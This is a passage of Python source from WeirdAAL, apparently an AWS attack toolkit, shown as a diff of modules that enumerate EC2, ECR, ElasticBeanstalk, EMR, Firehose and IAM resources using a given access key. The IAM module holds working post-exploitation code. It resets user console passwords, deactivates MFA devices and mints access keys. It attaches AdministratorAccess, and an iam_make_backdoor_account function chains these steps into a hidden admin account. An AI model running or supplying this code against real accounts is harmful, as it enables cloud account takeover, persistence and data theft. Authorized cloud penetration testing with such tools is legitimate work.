response = client.get_console_output(DryRun=False, InstanceId=instanceid)
print('[+] Writing console output to loot/{}-console.txt [+]'.format(instanceid))
if response.get('Output') is None:
print("[-]no output from {} [-]".format(instanceid))
else:
file = open('{}/loot/{}-console.txt'.format(os.getcwd(), instanceid), "w")
file.write(str(response['Output']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_output_all_region(region):
'''
loop thorugh a region and attempt to get the console output
'''
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
for r in response['Reservations']:
for i in r['Instances']:
instanceid = i['InstanceId']
if i['State']['Name'] == "running":
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to get console output: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_output(DryRun=True, InstanceId=instanceid)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the console output attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_output(DryRun=False, InstanceId=instanceid)
print('[+] Writing console output to loot/{}-console.txt [+]'.format(instanceid))
if response.get('Output') is None:
print("[-]no output from {} [-]".format(instanceid))
else:
file = open('{}/loot/{}-console.txt'.format(os.getcwd(), instanceid), "w")
file.write(str(response['Output']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_output_all_region_list(file, region):
'''
read in a file of instanceIDs for a region and attempt ot get the console output
'''
try:
client = boto3.client('ec2', region_name=region)
alist = [line.rstrip() for line in open(file)]
for line in alist:
try:
print("[INFO] Checking for required permissions to get console output: {} on {} [INFO]" .format(line, region))
response = client.get_console_output(DryRun=True, InstanceId=line)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the console output attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_output(DryRun=False, InstanceId=line)
print('[+] Writing console output to loot/{}-console.txt [+]'.format(line))
file = open('{}/loot/{}-console.txt'.format(os.getcwd(), line), "w")
file.write(str(response['Output']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

54
libs/aws/ecr.py Normal file
View File

@@ -0,0 +1,54 @@
'''
ECR functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def ecr_describe_repositories():
'''
Use ecr describe_repositories function to list available repositories
'''
print("### Printing ECR Repositories ###")
try:
for region in regions:
client = boto3.client('ecr', region_name=region)
response = client.describe_repositories()
if response.get('repositories') is None:
print("{} likely does not have ECR permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['repositories']) <= 0:
print("[-] DescribeRepositories allowed for {} but no results [-]" .format(region))
else:
print("### {} ECR Repositories ###" .format(region))
for tables in response['repositories']:
pp.pprint(tables)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

View File

@@ -0,0 +1,197 @@
'''
ElasticBeanstalk functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def elasticbeanstalk_describe_applications():
'''
Elasticbeanstalk Describe Applications
'''
print("### Printing ElasticBeanstalk Applications ###")
try:
for region in regions:
client = boto3.client('elasticbeanstalk', region_name=region)
response = client.describe_applications()
# print(response)
if response.get('Applications') is None:
print("{} likely does not have ElasticBeanstalk permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Applications']) <= 0:
print("[-] DescribeApplications allowed for {} but no results [-]" .format(region))
else:
print("### {} ElasticBeanstalk Applications ###" .format(region))
for app in response['Applications']:
pp.pprint(app)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def elasticbeanstalk_describe_application_versions():
'''
Elasticbeanstalk Describe Application versions
'''
print("### Printing ElasticBeanstalk Applications Versions ###")
try:
for region in regions:
client = boto3.client('elasticbeanstalk', region_name=region)
response = client.describe_application_versions()
# print(response)
if response.get('ApplicationVersions') is None:
print("{} likely does not have ElasticBeanstalk permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['ApplicationVersions']) <= 0:
print("[-] DescribeApplicationVersions allowed for {} but no results [-]" .format(region))
else:
print("### {} ElasticBeanstalk Application Versions ###" .format(region))
for app in response['ApplicationVersions']:
pp.pprint(app)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def elasticbeanstalk_describe_configuration_options():
'''
Elasticbeanstalk Describe Configuration options
Currently not working
'''
print("### Printing ElasticBeanstalk Configuration Options ###")
try:
for region in regions:
client = boto3.client('elasticbeanstalk', region_name=region)
response = client.describe_configuration_options()
# print(response)
if response.get('Options') is None:
print("{} likely does not have ElasticBeanstalk permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Options']) <= 0:
print("[-] DescribeConfigurationOptions allowed for {} but no results [-]" .format(region))
else:
print("### {} ElasticBeanstalk Configuration Options ###" .format(region))
# if response['PlatformArn'] is None:
# pass
# else:
# print("PlatformArn: {}" .format(response['PlatformArn']))
print("SolutionStackName: {}" .format(response['SolutionStackName']))
pp.pprint("Options: {}" .format(response['Options']))
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def elasticbeanstalk_describe_environments():
'''
Elasticbeanstalk Describe Environments
'''
print("### Printing ElasticBeanstalk Environments ###")
try:
for region in regions:
client = boto3.client('elasticbeanstalk', region_name=region)
response = client.describe_environments()
# print response
if response.get('Environments') is None:
print("{} likely does not have ElasticBeanstalk permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Environments']) <= 0:
print("[-] DescribeEnvironments allowed for {} but no results [-]" .format(region))
else:
print("### {} ElasticBeanstalk Environments ###" .format(region))
for enviro in response['Environments']:
pp.pprint(enviro)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def elasticbeanstalk_describe_events():
'''
Elasticbeanstalk Describe Events
'''
print("### Printing ElasticBeanstalk Environments ###")
try:
for region in regions:
client = boto3.client('elasticbeanstalk', region_name=region)
response = client.describe_events()
# print(response)
if response.get('Events') is None:
print("{} likely does not have ElasticBeanstalk permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Events']) <= 0:
print("[-] DescribeEvents allowed for {} but no results [-]" .format(region))
else:
print("### {} ElasticBeanstalk Events ###" .format(region))
for events in response['Events']:
pp.pprint(events)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

88
libs/aws/emr.py Normal file
View File

@@ -0,0 +1,88 @@
'''
EMR functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_clusters():
'''
List EMR Clusters
'''
print("### Printing EMR Clusters ###")
try:
for region in regions:
client = boto3.client('emr', region_name=region)
response = client.list_clusters()
if response.get('Clusters') is None:
print("{} likely does not have EMR permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Clusters']) <= 0:
print("[-] ListClusters allowed for {} but no results [-]" .format(region))
else:
print("### {} EMR Clusters ###" .format(region))
for app in response['Clusters']:
pp.pprint(app)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_security_configurations():
'''
List EMR Security Configurations
'''
print("### Printing EMR Security Configuration ###")
try:
for region in regions:
client = boto3.client('emr', region_name=region)
response = client.list_security_configurations()
# print(response)
if response.get('SecurityConfigurations') is None:
print("{} likely does not have EMR permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['SecurityConfigurations']) <= 0:
print("[-] ListSecurityConfigurations allowed for {} but no results [-]" .format(region))
else:
print("### {} EMR Security Configuration ###" .format(region))
for app in response['SecurityConfigurations']:
pp.pprint(app)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

89
libs/aws/firehose.py Normal file
View File

@@ -0,0 +1,89 @@
'''
Firehose functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'eu-central-1', 'eu-west-1', 'ap-northeast-1', 'ap-southeast-1', 'ap-southeast-2', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def firehose_list_delivery_streams():
'''
Use firehose list_delivery_streams to list available delivery streams
'''
print("### Printing Firehose Delivery Streams ###")
try:
for region in regions:
client = boto3.client('firehose', region_name=region)
response = client.list_delivery_streams()
# print(response)
if response['DeliveryStreamNames'] is None:
print("{} likely does not have Firehose permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['DeliveryStreamNames']) <= 0:
print("[-] ListDeliveryStreams allowed for {} but no results [-]" .format(region))
else:
print("### {} Firehose Delivery Streams ###" .format(region))
for stream in response['DeliveryStreamNames']:
pp.pprint(stream)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def firehose_describe_delivery_streams():
'''
use firehose describe_delivery_stream function to list details of each deliver stream from list_delivery_streams
'''
print("### Printing Firehose Delivery Streams & details ###")
try:
for region in regions:
client = boto3.client('firehose', region_name=region)
response = client.list_delivery_streams()
# print(response)
if response['DeliveryStreamNames'] is None:
print("{} likely does not have Firehose permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['DeliveryStreamNames']) <= 0:
print("[-] ListDeliveryStreams allowed for {} but no results [-]" .format(region))
else:
print("### {} Firehose Delivery Streams ###" .format(region))
for stream in response['DeliveryStreamNames']:
details = client.describe_delivery_stream(DeliveryStreamName=stream)
# This just prints the blob, needs to be cleaned up
print(details)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

635
libs/aws/iam.py Normal file
View File

@@ -0,0 +1,635 @@
'''
IAM functions for WeirdAAL
'''
import boto3
import botocore
import json
import logging
import os
import pprint
import sys
import urllib
pp = pprint.PrettyPrinter(indent=5, width=80)
region = 'us-east-1'
regions = ['us-east-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def check_root_account():
'''
Do various checks to see if the account has root or elevated IAM privs
'''
client = boto3.client('iam', region_name=region)
try:
acct_summary = client.get_account_summary()
if acct_summary:
print("Root Key!!! [or IAM access]")
print("Printing Account Summary")
pp.pprint(acct_summary['SummaryMap'])
client_list = client.list_users()
if client_list:
print("Printing Users")
pp.pprint(client_list['Users'])
print("Checking for console access")
for user in client_list['Users']:
try:
profile = client.get_login_profile(UserName=user['UserName'])
if profile:
print('User {} likely has console access and the password can be reset :-)' .format(user['UserName']))
print("Checking for MFA on account")
mfa = client.list_mfa_devices(UserName=user['UserName'])
print(mfa['MFADevices'])
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'NoSuchEntity':
print("[-]: user '{}' likely doesnt have console access" .format(user['UserName']))
else:
print("Unexpected error: {}" .format(e))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_change_user_console_password(username, password):
'''
Change the IAM console password of a specified user with the specified password
'''
client = boto3.client('iam', region_name=region)
try:
response = client.update_login_profile(UserName=username, Password=password, PasswordResetRequired=False)
print('Changing password for user: {} to password: {}' .format(username, password))
# print(response)
print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'PasswordPolicyViolation':
print("Password policy violation. Manually check password policy")
elif e.response['Error']['Code'] == 'NoSuchEntity':
print("[-]: User likely doesnt have console access")
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_create_user_console_password(username, password):
'''
create new IAM account with the specified username and password
'''
client = boto3.client('iam', region_name=region)
try:
response = client.create_login_profile(UserName=username, Password=password, PasswordResetRequired=False)
print('Changing password for user: %s to password: {}' .format(username, password))
print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'PasswordPolicyViolation':
print("Password policy violation. Manually check password policy")
elif e.response['Error']['Code'] == 'NoSuchEntity':
print("[-]: User likely doesnt have console access")
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_password_policy():
'''
Get the password policy
'''
client = boto3.client('iam', region_name=region)
try:
pass_policy = client.get_account_password_policy()
print("Account Password Policy:")
pp.pprint(pass_policy['PasswordPolicy'])
except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_account_authorization_details():
'''
Get the account authoirzation details
'''
client = boto3.client('iam', region_name=region)
try:
deets = client.get_account_authorization_details()
print("Account Authorization Details:")
pp.pprint(deets['UserDetailList'])
except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_create_user(username):
'''
This creates a IAM user, this does not set a password you need to call the
iam_create_user_console_password afterwards
'''
client = boto3.client('iam', region_name=region)
try:
print("Creating a new IAM user named: {}" .format(username))
create_user = client.create_user(Path='/', UserName=username)
print('Response to create user was: {}' .format(create_user['ResponseMetadata']['HTTPStatusCode']))
print("New User Details")
pp.pprint(create_user['User'])
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'EntityAlreadyExists':
print("ERROR: The provided user: {} already exists" .format(username))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_create_access_key(username):
'''
Create a new access & secret key for the specified username
'''
client = boto3.client('iam', region_name=region)
try:
create_access_key = client.create_access_key(UserName=username)
print("Creating a new access key for: {}" .format(username))
pp.pprint(create_access_key['AccessKey'])
except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_delete_access_key(username, accesskey):
'''
Delete the specified access key for the specified user and specified access key
'''
client = boto3.client('iam', region_name=region)
try:
delete_access_key = client.delete_access_key(UserName=username, AccessKeyId=accesskey)
print("Deleting a access key: {} for: {}" .format(accesskey, username))
print('Response to delete key was: {}' .format(delete_access_key['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'NoSuchEntity':
print("ERROR: The provided AccessKey doesnt exist")
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_delete_mfa_device(username, mfaserial):
'''
Delete the specified MFA serial number for the specified username
'''
client = boto3.client('iam', region_name=region)
try:
delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial)
print("Deleting MFA device: {} for: {}" .format(mfaserial, username))
print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'NoSuchEntity':
print("ERROR: The provided AccessKey doesnt exist")
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_mfa_device(username):
'''
List MFA devices for a specified username
'''
client = boto3.client('iam', region_name=region)
try:
response = client.list_mfa_devices(UserName=username)
# print(response)
if response.get('MFADevices') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['MFADevices']) <= 0:
print("[-] ListMFADevices allowed for {} but no results [-]" .format(region))
else:
print("### MFA info for {} ###".format(username))
for device in response['MFADevices']:
pp.pprint(device)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_make_admin(username):
'''
Attach the builtin admin policy to the specified username
'''
client = boto3.client('iam', region_name=region)
try:
make_admin = client.attach_user_policy(UserName=username, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
print("Adding admin policy to: {}" .format(username))
print('Response to attaching admin policy was: {}' .format(make_admin['ResponseMetadata']['HTTPStatusCode']))
# print('Response to delete key was: %s' % delete_access_key['ResponseMetadata']['HTTPStatusCode'])
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print("ERROR: Account does not have permissions to add the policy")
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_make_backdoor_account(username, password):
client = boto3.client('iam', region_name=region)
try:
print("Making backdoor account with username: {}" .format(username))
iam_create_user(username)
iam_make_admin(username)
iam_create_user_console_password(username, password)
iam_create_access_key(username)
except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_groups():
'''
List all IAM groups for the account
'''
print("### Printing IAM Groups ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_groups()
if response.get('Groups') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Groups']) <= 0:
print("[-] ListGroups allowed for {} but no results [-]\n" .format(region))
else:
# print(response)
print("### {} Groups ###" .format(region))
for group in response['Groups']:
pp.pprint(group)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_get_user():
'''
Get user info: userid, arn, created date, password last used
'''
print("### Printing IAM User Info ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.get_user()
print(response)
if response.get('User') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['User']) <= 0:
print("[-] GetUser allowed for {} but no results [-]\n" .format(region))
else:
# print(response)
print("### {} User Account Info ###" .format(region))
for key, value in response['User'].items():
print(key, ':', value)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_get_account_summary():
'''
calls get_account_summary(). This shows numbers of groups, polcies, MFA devices, etc
'''
